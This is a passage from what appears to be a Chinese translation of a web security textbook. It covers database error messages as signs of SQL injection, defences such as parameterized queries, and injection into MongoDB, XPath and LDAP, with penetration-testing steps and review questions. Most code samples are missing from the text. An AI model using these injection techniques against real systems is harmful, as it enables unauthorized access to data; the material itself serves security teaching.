MS-SQL Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'foo

Msg 105, Level 15, State 1, Line 1

Unclosed quotation mark before the character

string 'foo

MySQL You have an error in your SQL syntax. Check

the manual that corresponds to your MySQL server version for the right

syntax to use near ''foo' at line X

原因 对Oracle和MS-SQL而言,SQL注入确实存在,并且几乎肯定可以加以利用。如果输入一个单引号,它改变数据库查询的语法,这是预料之中的错误

对MySQL而言,SQL注入可能存在,但相同的错误消息可能出现在其他情况下

Oracle PLS-00306: wrong number or types of arguments

in call to 'XXX'

MS-SQL Procedure 'XXX' expects parameter '@YYY',

which was not supplied

MySQL N/A

原因 已经注释掉或删掉一个通常会提交给数据库的变量。在MS-SQL中,应该可以使用时间延迟

枚举获得任意数据

Oracle ORA-01789: query block has incorrect number of

result columns

MS-SQL Msg 205, Level 16, State 1, Line 1

All queries in an SQL statement containing a

UNION operator must have an equal number of

expressions in their target lists.

MySQL The used SELECT statements have a different number of columns

原因 当试图实施UNION SELECT攻击时,就会看到这个错误消息;攻击者指定了一个与原始

SELECT语句不同的列数

Oracle ORA-01790: expression must have same datatype

as corresponding expression

MS-SQL Msg 245, Level 16, State 1, Line 1

Syntax error converting the varchar value

'foo' to a column of data type int.

MySQL (在MySQL中不会造成任何错误)

原因 当试图实施UNION SELECT攻击时,就会看到这个错误消息;攻击者指定了一个与原始

SELECT语句不同的数据类型。尝试使用NULL,或者使用1或2000

Oracle ORA-01722: invalid number

ORA-01858: a non-numeric character was found

where a numeric was expected

MS-SQL Msg 245, Level 16, State 1, Line 1

Syntax error converting the varchar value

'foo' to a column of data type int.

MySQL (在MySQL中不会造成任何错误)

原因 输入与字段中需要的数据类型不匹配。可能存在SQL注入漏洞,可能不需要一个单引号,因

此尝试输入一个数字,后接注入的SQL查询

在MS-SQL中,应该可以利用这条错误消息返回任何字符串

Oracle ORA-00923: FROM keyword not found where expected

MS-SQL N/A

MySQL N/A

原因 下面的语句可在MS-SQL中运行:

SELECT 1

但在Oracle中,如果想要返回任何内容,必须从一个表中选择。使用DUAL表即可:

SELECT 1 from DUAL

Oracle ORA-00936: missing expression

MS-SQL Msg 156, Level 15, State 1, Line 1

Incorrect syntax near the keyword 'from'.

MySQL You have an error in your SQL syntax. Check

the manual that corresponds to your MySQL

server version for the right syntax to use

near ' XXX , YYY from SOME_TABLE' at line 1

原因 当注入点出现在FROM关键字之前(例如,注入了将要返回的列)或使用注释符号删除了不可

缺少的SQL关键字时,常常会看到这条错误消息

尝试使用注释字符结束SQL语句

当遇到这种条件时,MySQL可以揭示列名XXX, YYY

Oracle ORA-00972: identifier is too long

MS-SQL String or binary data would be truncated.

MySQL N/A

原因 这条错误消息并不表示存在SQL注入漏洞。如果遇到一个超长的字符串,可能会看到这条错

误消息。也不可能遇到缓冲区溢出,因为数据库正在安全地处理输入

Oracle ORA-00942: table or view does not exist

MS-SQL Msg 208, Level 16, State 1, Line 1

Invalid object name 'foo'

MySQL Table 'DBNAME.SOMETABLE' doesn't exist

原因 要么是因为正试图访问一个不存在的表或视图,要么在Oracle中,数据库用户并不拥有访问

该表或视图的权限。对一个已知能够访问的表(如DUAL表)测试查询

当遇到这种条件时,MySQL应可以揭示当前的数据库模式DBNAME

Oracle ORA-00920: invalid relational operator

MS-SQL Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near foo

MySQL You have an error in your SQL syntax. Check

the manual that corresponds to your MySQL

server version for the right syntax to use

near '' at line 1

原因 可能更改了WHERE子句的内容,SQL注入试图使语法中断

Oracle ORA-00907: missing right parenthesis

MS-SQL N/A

MySQL You have an error in your SQL syntax. Check

the manual that corresponds to your MySQL

server version for the right syntax to use

near '' at line 1

原因 SQL注入生效,但注入点在圆括号内。可能是由于用注入的注释字符(--)把结尾的圆括号

当做注释处理了

Oracle ORA-00900: invalid SQL statement

MS-SQL Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near foo

MySQL You have an error in your SQL syntax. Check

the manual that corresponds to your MySQL

server version for the right syntax to use

near XXXXXX

原因 一条常规错误消息。前面列出的错误消息会优先于这条错误消息显示,因此肯定出现了其他

问题。可以尝试另一种输入,以获得一条提供更多信息的消息

Oracle ORA-03001: unimplemented feature

MS-SQL N/A

MySQL N/A

原因 执行了一个Oracle禁止的操作。如果位于UPDATE或INSERT查询中,但却试图从v$version

显示数据库版本字符串,就会出现这条消息

Oracle ORA-02030: can only select from fixed tables/views

MS-SQL N/A

MySQL N/A

原因 可能试图编辑一个SYSTEM视图。如果位于UPDATE或INSERT查询中,但却试图从

v$version显示数据库版本字符串,就会出现这条消息

防止SQL注入

尽管其表现形式和利用手段的复杂程度各不相同,但通常而言,SQL注入仍然是最容易防御的漏洞之一。然而,关于SQL注入应对措施的讨论经常造成误导,许多人都依赖仅部分有效的防御措施。

1.部分有效的防御措施

由于单引号在SQL注入漏洞中占有突出地位,防御这种攻击的一种常用方法,就是将用户输入中的任何单引号配对,对它们进行转义。但是,在下面两种情况下,这种方法无效。

如果用户提交的数字数据内置在SQL查询中,这种数据通常并不包含在单引号内。因此,攻击者能够破坏数据的使用环境并开始输入任意SQL查询,这时就不必输入单引号。

在二阶SQL注入攻击中,最初在插入数据库中时已经安全转义的数据随后被从数据库中读取出来,然后又再次写入。当重新使用数据时,最初配对的引号又恢复到单引号形式。

另一种常用的应对措施是使用存储过程完成全部数据库访问。无疑,定制的存储过程可增强安全性,提高性能;然而,由于两方面的原因,它们并不能保证防止SQL漏洞。

如在使用Oracle的示例中所见,编写存在缺陷的存储过程可能在自身代码中包含SQL注入漏洞。在存储过程中构建SQL语句时也可能出现类似的安全问题,使用存储过程也无法防止漏洞产生。

即使使用安全可靠的存储过程,但如果使用用户提交的输入以不安全的方式调用这个存储过程,也仍然可能出现SQL注入漏洞。例如,假设用户注册功能在一个存储过程中执行,该存储过程通过以下方式调用:

这个语句和一个简单的INSERT语句一样易于受到攻击。例如,攻击者可以提交以下密码:

应用程序将执行以下批量查询:

因此使用存储过程并没有作用。

实际上,功能复杂的大型应用程序需要执行成千上万条不同的SQL语句,许多开发者认为,使用存储过程重复执行这些语句是对开发时间的不合理利用。

参数化查询

大多数数据库和应用程序开发平台都提供API,对不可信的输入进行安全处理,以防止SQL注入漏洞。参数化查询(也叫预处理语句)分两个步骤建立一个包含用户输入的SQL语句。

(1)应用程序指定查询结构,为用户输入的每个数据预留占位符。

(2)应用程序指定每个占位符的内容。

至关重要的是,在第二个步骤中指定的专门设计的数据无法破坏在第一个步骤中指定的查询结构。因为查询结构已经确定,且相关API对所有类型的占位符数据进行安全处理,因此它总被解释为数据,而不是语句结构的一部分。

下面的两个代码示例说明了使用用户数据动态创建的一个不安全查询与相应的参数化查询之间的差异。在第一段代码中,用户提交的name参数被直接嵌入到一个SQL语句中,致使应用程序易于受到SQL注入:

第二段代码使用一个问号作为用户提交参数的占位符,以确定查询的结构。随后,代码调用prepareStatement方法解释这个参数,并确定将要执行的查询结构。之后,它使用setString方法指定参数的实际值。由于查询的结构已经固定,这个值可为任何数据类型,而不会影响查询的结构。于是查询得以安全执行:

 注解 建立参数化查询实际需要的方法和语法因数据库和应用程序开发平台而异。请参阅第18章了解一些最常用的示例。

使用参数化查询可有效防止SQL注入,但还要注意以下几个重要的限制。

应在每一个数据库查询中使用参数化查询。我们发现,在开发应用程序的过程中,对于每一个查询,开发者都要判断是否使用参数化查询。如果明显要应用用户提交的输入,就使用参数化查询;否则就不使用。这种方法是造成许多SQL注入漏洞的根源所在。首先,仅注意由用户直接提交的输入,二阶攻击就很容易被忽略,因为已经被处理的数据被认为是可信的。其次,在处理用户可控制的数据这种特殊的情况下,我们很容易犯错。在大型应用程序中,各种数据项被保存在会话中,或者由客户端提交。其他人可能并不知道开发者作出的假设。特殊数据的处理方式将来可能发生改变,在以前安全的查询中引入SQL注入漏洞。因此,规定在整个应用程序中都使用参数化查询更安全。

插入查询中的每一种数据都应适当进行参数化。我们遇到过许多这样的示例:查询中的大多数参数都得到安全处理,然而,有一两个数据项可直接连接到用于指定查询结构的字符串中。如果以这种方式处理某些参数,即使使用参数化查询,也无法防止SQL注入。

参数占位符不能用于指定查询中表和列的名称。在极少数情况下,应用程序需要根据用户提交的数据在一个SQL查询中指定这些数据项。当遇到这种情况时,最好使用一份由已知可靠的值组成的“白名单”(即数据库实际使用的表和列名单),并拒绝任何与这份名单上的数据不匹配的输入项。如果无法做到这一点,就应对用户输入实施严格的确认机制,例如,只允许字母数字字符(不包括空白符),并执行适当的长度限制。

参数占位符不能用于查询的任何其他部分,如ORDER BY子句中的ASC或DESC关键字,或任何其他SQL关键字,因为它们属于查询结构的一部分。与表和列名称一样,如果需要基于用户提交的数据指定这些项目,则必须对其执行严格的白名单确认,以防止可能的攻击。

深层防御

通常,一种稳定的安全机制应采用深层防御措施提供额外的保护,以防止前端防御由于任何原因失效。当防御针对后端数据库的攻击时,应采用另外三层防御。

当访问数据库时,应用程序应尽可能使用最低权限的账户。一般情况下,应用程序并不需要数据库管理员权限,它只需要读取并写入自己的数据。在注重安全的情况下,应用程序可以使用另一个数据库账户执行各种操作。例如,如果90%的数据库查询只需要读取访问,就可以使用一个并不具有写入权限的账户执行这些查询。如果某个查询只需要读取一部分数据(例如,读取订单表而不是用户账户表),这时就可以使用一个拥有相应访问权限的账户。如果可以在整个应用程序中实施这种方法,就可以降低任何剩余SQL注入漏洞给应用程序造成的影响。

许多企业数据库包含大量默认功能,可被能够执行任意SQL语句的攻击者利用。如有可能,应删除或禁用不必要的功能。即使有时候技术熟练、蓄意破坏的攻击者能够通过其他方法重新建立一些必需的功能,但做到这一点通常需要复杂的操作,而且数据库实施的强化措施也会给攻击者造成难以逾越的障碍。

应评估、测试并及时安装供应商发布的所有安全补丁,以修复数据库软件本身已知的漏洞。在注重安全的情况下,数据库管理员可以使用各种预订服务(subscriber-based service)提前了解一些供应商尚未公布补丁的已知漏洞,及时采取适当的防御措施。

注入NoSQL

术语NoSQL用于指各种不同于标准的关系数据库体系架构的数据存储区。NoSQL数据存储区呈现使用键/值映射的数据,并且不依赖于固定的方案,如传统的数据库表。键和值可以任意定义,而且值的格式通常与数据存储区无关。键/值存储的另一个特点在于,值可能为数据结构本身,因而可以实现层次化存储,这与数据库方案中的平面数据结构不同。

支持上述数据存储的NoSQL具有各方面的优势,这些优势主要体现在处理庞大的数据集方面,以便于根据需要对数据存储区中的层次化数据进行优化,以减少检索数据集的开销。在这些情况下,传统的数据库可能需要对表进行复杂的交叉引用,才能代表应用程序检索信息。

从Web应用程序安全的角度看,我们主要关注应用程序如何查询数据,因为这决定了攻击者可以进行何种形式的注入。就SQL注入而言,不同数据库产品采用的SQL语言大体相似。相反,NoSQL代表着一类全新的数据存储区,它们的行为各不相同。而且,它们并非全都使用单一的查询语言。

以下是NoSQL数据存储区采用的一些常用的查询方法:

键/值查询;

XPath(将在本章后面部分介绍);

编程语言(如JavaScript)。

NoSQL是一种快速发展的相对较新的技术。与SQL等比较成熟的技术不同,它并没有进行大规模地部署。因此,对于NoSQL相关漏洞的研究仍处于早期阶段。此外,由于许多NoSQL技术访问数据的方式十分简单,讨论注入NoSQL数据存储区的示例有时明显是虚构的。

几乎可以肯定的是,当前和将来的Web应用程序使用NoSQL数据存储区的方式将存在可被利用的漏洞。我们将在下一节中讨论一个这样的示例,该示例源于真实的应用程序。

注入MongoDB

许多NoSQL数据库利用现有的编程语言来提供灵活、可编程的查询机制。如果使用字符串连接构建查询,攻击者就可以尝试破坏数据并更改查询的语法。以下面的查询为例,它基于MongoDB数据存储区中的用户记录进行登录:

$js是一个JavaScript函数,其代码是动态构建的,并且包含用户提交的用户名和密码。攻击者可以通过提供以下用户名和任意密码来避开验证逻辑:

生成的JavaScript函数如下所示:

 注解 在JavaScript中,双正斜杠(//)表示行尾注释,因此,函数中的剩余代码将被注释掉。

另一种不使用注释而确保$js函数始终返回“真”的方法,是提供以下用户名:

JavaScript以如下方式解释各种运算符:

这将匹配用户集合中的所有资源,因为第一个选择性条件始终为真(1始终等于1)。

注入XPath

XPath(XML路径语言)是一种用于导航XML文档并从中获取数据的解释型语言。许多时候,一个XPath表达式代表由一个文档节点导航到另一个文档节点所需要的一系列步骤。

如果Web应用程序将数据保存在XML文档中,那么它们可能使用XPath访问数据,以响应用户提交的输入。如果这个输入未经任何过滤或净化就插入到XPath查询中,攻击者就可以通过控制查询来破坏应用程序的逻辑,或者获取未获授权访问的数据。

通常,XML文档并不是保存企业数据的首选工具。但是,它们常常被用于保存可根据用户输入获取的应用程序配置数据。小型应用程序也使用它们保存简单的信息,如用户证书、角色和权限。以下面的XML数据为例:

一个获取所有电子邮件地址的XPath查询如下:

一个返回Dawes的全部用户资料的查询为:

在一些应用程序中,用户提交的数据可被直接嵌入到XPath查询中,查询的结果可能在应用程序的响应中返回,或者用于决定应用程序某些方面的行为。

破坏应用程序逻辑

以一个根据用户名和密码获得用户保存的信用卡号码的应用程序功能为例。下面的XPath查询核实用户提交的证书,并获取相关用户的信用卡号码:

与利用SQL注入漏洞一样,这时攻击者也可以破坏应用程序的查询。例如,提交密码值

将导致下面的XPath查询,获取所有用户的信用卡信息:

注解

与SQL注入一样,注入一个数字值时不需要单引号。

与SQL查询不同,XPath查询中的关键字区分大小写,XML文档中的元素名也区分大小写。

谨慎XPath注入

攻击者可利用XPath注入漏洞从目标XML文档中获取任意信息。获取信息的一种可靠途径是使用和上述SQL注入时相同的技巧,促使应用程序根据攻击者指定的条件以不同的方式做出响应。

提交以下两个密码将导致应用程序的不同行为:第一种情况返回结果,但第二种情况不返回结果。

这种行为差异可用于测试任何特殊条件的真假,因此可通过它一次一个字节地提取出任意信息。与SQL一样,XPath语言也包含一个子字符串函数,可用它一次一个字符地测试一个字符串的值。例如,提交密码

将导致下面的XPath查询,如果用户Gates密码的第一个字符为M,将返回查询结果:

轮流针对每个字符位置并测试每个可能的值,攻击者就能够获得Gates的完整密码。

尝试访问

http://mdsec.net/cclookup/14/

盲目XPath注入

在前面的攻击中,注入的测试条件指定了提取数据的绝对路径(address)以及目标字段的名称(surname和password)。实际上,即使不了解这些信息,攻击者仍有可能发动完全盲目的攻击。XPath查询可包含与XML文档中当前节点有关的步骤,因此,从当前节点可以导航到父节点或一个特定的子节点。另外,XPath包含可查询文档元信息(包括特殊元素的名称)的函数。使用这些技巧就可以提取出文档中所有节点的名称与值,而不必提前知道与它的结构或内容有关的任何信息。

例如,可以使用前面描述的子字符串技巧,通过提交如下格式的密码,提取当前节点的父节点的名称:

这个输入能够返回结果,因为address节点的第一个字母为a。轮到第二个字母,这时可以通过提交下列密码确定该字母为d,因为最后一个输入返回了结果:

确定address节点的名称后,攻击者就可以轮流攻击它的每一个子节点,提取出它们的名称与值。通过索引指定相关子节点可不必知道任何节点的名称。例如,下面的查询将返回值Hunter:

而下面的查询返回值letmein:

这种技巧可用在完全盲目的攻击中,这时应用程序在响应中不返回任何结果,我们可以设计一个注入的条件,通过索引指定目标节点。例如,如果Gates密码的第一个字母为M,提交下面的密码将返回结果:

轮流攻击每个地址节点的每个子节点,并一次一个字符地提取出它们的值,攻击者就可以提取整个XML数据的内容。

 提示 XPath中有两个有用的函数,可帮助自动完成上述攻击,迅速遍历XML文档中的所有节点和数据。

count()。这个函数返回指定元素的子节点数量,可用于确定需要遍历的position()值的范围。

string-length()。这个函数返回一个已提交字符串的长度,可用于确定需要遍历的substring()值的范围。

尝试访问

http://mdsec.net/cclookup/19/

查找XPath注入漏洞

许多常用于探查SQL注入漏洞的攻击字符串如果被提交给一个易于受到XPath注入的函数,往往会导致反常行为。例如,下面的两个字符会破坏XPath查询的语法,从而造成错误:

通常,与在SQL注入漏洞中一样,下面的一个或几个字符串将会引起应用程序的行为发生变化,但不会造成错误:

因此,任何时候,如果在探查SQL注入过程中发现一个漏洞的初步证据,但却无法对该漏洞加以利用,那么遇到的可能就是XPath注入漏洞。

渗透测试步骤

(1)尝试提交下面的值,并确定它们是否会导致应用程序的行为发生改变,但不会造成错误:

如果参数为数字,尝试提交下面的测试字符串:

(2)如果上面的任何字符串导致应用程序的行为发生改变,但不会造成错误,很可能可以通过设计测试条件,一次提取一个字节的信息,从而获取任意数据。使用一系列以下格式的条件确定当前节点的父节点的名称:

(3)提取出父节点的名称后,使用一系列下面格式的条件提取XML树中的所有数据:

防止XPath注入

如果觉得必须在一个XPath查询中插入用户提交的输入,应该只提交可实施严格输入确认的简单数据。应根据一份由可接受字符组成的“白名单”检查用户输入,其中最好只包括字母数字字符。应阻止任何可能破坏XPath查询的字符,包括( )= ′ [ ] :,* /和所有空白符。直接拒绝而不是净化任何与白名单不匹配的输入。

注入LDAP

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)用于访问网络中的目录服务。目录是一个分级结构的数据存储区,其中可能包含任何类型的信息,但常用于保存个人信息,如姓名、电话号码、电子邮件地址和工作职能等。Windows域中使用的Active Directory就是这种目录的一个典型示例。LDAP还常用在企业内联网Web应用程序中,如允许用户查看并修改雇员信息的人力资源应用程序。

每个LDAP查询使用一个或多个搜索过滤器,它们决定了请求返回的目录项。搜索过滤器可以使用各种逻辑运算符来表示复杂的搜索条件。最常用的搜索过滤器如下。

简单匹配条件(simple match conditions)对单个属性的值进行匹配。例如,通过用户名搜索用户的应用程序函数可能使用以下过滤器:

析取查询(disjunctive queries)指定多个条件,返回的目录项必须满足其中任何一个条件。例如,在多个目录属性中查找用户提供的搜索项的搜索函数可能使用以下过滤器:

合取查询(conjunctive queries)指定多个条件,返回的目录项必须满足所有这些条件。例如,LDAP中实施的登录机制可能使用以下过滤器:

和其他形式的注入一样,如果用户提交的输入不经任何确认即被插入到LDAP搜索过滤器中,攻击者就可以通过提交专门设计的输入来修改过滤器的结构,以检索数据或执行未授权操作。

一般而言,与SQL注入漏洞相比,LDAP注入漏洞更难以被攻击者利用,原因如下。

搜索过滤器采用逻辑运算符来指定析取或合取查询的位置通常位于用户提交的数据的插入位置之前,因而无法被修改。因此,简单匹配条件和合取查询不会受与SQL注入类似的“or 1=1”类型的攻击。

在常用的LDAP服务中,返回的目录属性将作为搜索过滤器中的独立参数传递给LDAP API,并且通常在应用程序中进行了硬编码。因此,攻击者无法通过修改用户提交的输入来检索与查询检索的属性不同的属性。

应用程序很少返回有用的错误消息,因此,通常攻击者只能“盲目”利用各种漏洞。

利用LDAP注入

尽管存在上述限制,但在许多情况下,攻击者仍然可以利用LDAP注入漏洞从应用程序中获取数据,或执行未授权操作。通常,实施这类攻击的方法与搜索过滤器的结构、用户输入的进入点,以及后端LDAP服务本身的执行细节密切相关。

析取查询

以允许用户查看指定业务部门的雇员的应用程序为例。其搜索结果仅限于用户获得授权可以查看的地理区域。例如,如果一名用户获得授权可以查看伦敦和雷丁地区,并且他搜索的是“销售”部门,应用程序将执行以下析取查询:

这里,应用程序构建了一个析取查询,并在用户提交的输入之前前置了一些表达式来执行所需的访问控制。

在这种情况下,攻击者可以通过提交以下搜索项对查询进行修改,以返回所有地区的所有雇员的资料:

*字符是LDAP中的通配符,可匹配任何数据项。如果将这个输入嵌入LDAP搜索过滤器中,应用程序将执行以下查询:

由于这是一个析取查询并且包含通配符搜索项(department=*),因此,它会对所有目录项进行匹配。它会返回所有地区的所有员工的资料,从而突破应用程序的访问控制。

尝试访问

http://mdsec.net/employees/31/

http://mdsec.net/employees/49/

合取查询

这里我们以另一个类似的应用程序为例,同样,该应用程序允许用户按姓名在授权查看的地理区域内搜索雇员。

如果用户获得授权可以在伦敦进行搜索,并且它搜索姓名daf,则应用程序将执行以下查询:

这里,用户的输入被插入到合取查询中,该查询的第二部分仅通过匹配其中一个伦敦部门的数据项来执行所需的访问控制。

在这种情况下,根据后端LDAP服务的执行细节,攻击者可以成功实施两种类型的攻击。一些LDAP(包括OpenLDAP)允许批量使用多个搜索过滤器,并且选择性地应用这些过滤器。(换言之,应用程序将返回与任意过滤器匹配的目录项。)例如,攻击者可以提交以下输入:

如果将这个输入嵌入原始搜索过滤器中,将得到以下查询:

现在,这个查询中包含两个搜索过滤器,第一个过滤器包含一个通配符匹配条件。因此,应用程序将返回所有地区的所有雇员的资料,从而避开了应用程序的访问控制。

尝试访问

http://mdsec.net/employees/42/

 注解 这种注入第二个搜索过滤器的技巧也可针对未使用任何逻辑运算符的简单匹配条件,只是后端LDAP接受多个搜索过滤器。

第二种针对合取查询的攻击利用许多LDAP服务在处理NULL字节方面存在的漏洞。由于这些服务通常以本地代码编写,因此,搜索过滤器中的NULL字节将立即终止字符串,NULL之后的任何字符将被忽略。虽然LDAP本身并不支持注释(在SQL中可以使用--注释符添加注释),但是,攻击者可以利用它在处理NULL字节上的这个漏洞,从而“注释掉”查询的剩余部分。

在前一个示例中,攻击者可以提交以下输入:

应用程序服务器会将%00序列解码成原义NULL字节,因此,如果将以上输入嵌入到搜索过滤器中,查询将变为:

由于这个过滤器在NULL字节处被截短,在LDAP看来,其中只包含一个通配符条件,因此,应用程序还会返回伦敦地区以外的部门的所有雇员资料。

尝试访问

http://mdsec.net/employees/13/

http://mdsec.net/employees/42/

查找LDAP注入漏洞

向一项LDAP操作提交无效的输入并不会生成任何详细的错误消息。通常,由搜索功能返回的结果和发生的错误(如一个HTTP500状态码)都有助于确定漏洞。但是,渗透测试员可以使用以下步骤相对可靠地确定LDAP注入漏洞。

渗透测试步骤

(1)尝试仅输入*字符作为搜索项。在LDAP中,这个字符是一个通配符,但在SQL中不是。如果返回大量结果,这种情况明显表示攻击针对的是一个LDAP查询。

(2)尝试输入大量的闭括号:

))))))))))

这个输入将结束任何括住输入、以及那些包含主查询过滤器的括号,导致无法匹配的闭括号,因而破坏查询的语法。如果发生错误,应用程序就易于受到LDAP注入。(注意,这种输入也会破坏其他许多类型的应用程序逻辑,因此,如果已经确定所针对的是一个LDAP查询,它只能提供一个明显的指标。)

(3)尝试输入各种旨在干扰不同类型的查询的表达式,并看是否可以通过这些表达式来影响返回的结果。所有LDAP均支持cn属性,如果对所查询的目录一无所知,使用该属性会大有用处。例如:

防止LDAP注入

如果有必要在一个LDAP查询中插入用户提交的输入,也只提交可实施严格输入确认的简单数据。应根据一份可接受字符“白名单”检查用户输入,其中最好只包括字母数字字符。应阻止任何可能破坏LDAP查询的字符,包括( );,* | & =和空字节。拒绝任何与白名单不匹配的输入,不要净化。

小结

我们已经分析了一系列可用于注入Web应用程序数据存储的漏洞。攻击者可以利用这些漏洞读取或修改敏感的应用程序数据、执行其他未授权操作,或破坏应用程序逻辑来达到某种目的。

更为严重的是,上述攻击只是大量相关的注入攻击的一小部分。利用这一类型的其他攻击,攻击者可以在服务器的操作系统上执行命令、检索任意文件,并破坏其他后端组件。在下一章中,我们将介绍这类攻击及其他攻击,说明攻击者如何利用Web应用程序中的漏洞攻破为应用程序提供支持的更广泛的基础架构的关键组件。

问题

欲知问题答案,请访问http://mdsec.net/wahh。

(1)如果要通过实施UNION攻击利用SQL缺陷获取数据,但是并不知道最初的查询返回的列数,如何才能查明这个值?

(2)已经确定一个字符串参数中的SQL注入漏洞,已经确信数据库为MS-SQL或Oracle,但当前无法获得任何数据或错误消息确定到底是哪个数据库。如何才能查明这一点?

(3)已经在应用程序的许多位置提交了一个单引号,并通过得到的错误消息确定几个潜在的SQL注入漏洞。下列哪一种方法能够以最快的速度确定专门设计的输入是否会对应用程序的处理过程造成影响?

(a)注册一个新用户

(b)更新个人资料

(c)注销服务

(4)在登录功能中发现一个SQL注入漏洞,试图使用输入' or 1=1--避开登录,但攻击没有成功,生成的错误消息表明--字符串被应用程序的输入过滤删除。如何解决这个问题?

(5)已经发现一个SQL注入漏洞,但由于应用程序允许任何包含空白符的输入,无法实施任何有用的攻击。如何解除这种限制?

(6)在将其合并到SQL查询之前,应用程序并不配对用户输入中出现的所有单引号。假设已经在一个数字字段中发现一个SQL注入漏洞,但需要在一个攻击有效载荷中使用一个字符串值。不使用单引号,如何在查询中插入字符串?

(7)在极少数情况下,应用程序在用户提交的输入中使用参数化查询,以不安全的方式建立动态SQL查询。什么时候会出现这种情况?

(8)假设已经提升了在应用程序中的权限,现在完全拥有管理员访问权限,这时如果在某个用户管理功能中发现一个SQL注入漏洞,如何利用这个漏洞进一步扩大攻击范围?

(9)在攻击一个并未保存任何敏感数据、也未实施任何验证或访问控制机制的应用程序的情况下,如何排列下列漏洞的重要性?

(a)SQL注入

(b)XPath注入

(c)OS命令注入

(10)假如正在检测一个允许搜索个人资料的应用程序功能,并且怀疑该功能正访问某数据库或Active Directory后端。如何确定到底是哪一种情况?

浙ICP备11005866号-12